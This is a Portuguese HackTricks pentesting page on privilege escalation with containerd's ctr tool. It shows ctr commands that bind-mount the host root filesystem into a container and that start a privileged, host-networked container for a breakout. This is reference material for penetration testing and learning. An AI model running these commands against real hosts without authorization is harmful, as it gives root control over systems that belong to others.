hacktricks/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md

3.9 KiB

Containerd (ctr) Escalada de Privilégios

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informações básicas

Vá para o seguinte link para aprender o que é containerd e ctr:

{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} 2375-pentesting-docker.md {% endcontent-ref %}

PE 1

se você descobrir que um host contém o comando ctr:

which ctr
/usr/bin/ctr

Você pode listar as imagens:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

E então execute uma dessas imagens montando a pasta raiz do host nela:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Execute um contêiner privilegiado e escape dele.
Você pode executar um contêiner privilegiado como:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Então você pode usar algumas das técnicas mencionadas na página seguinte para escapar dela abusando de capacidades privilegiadas:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}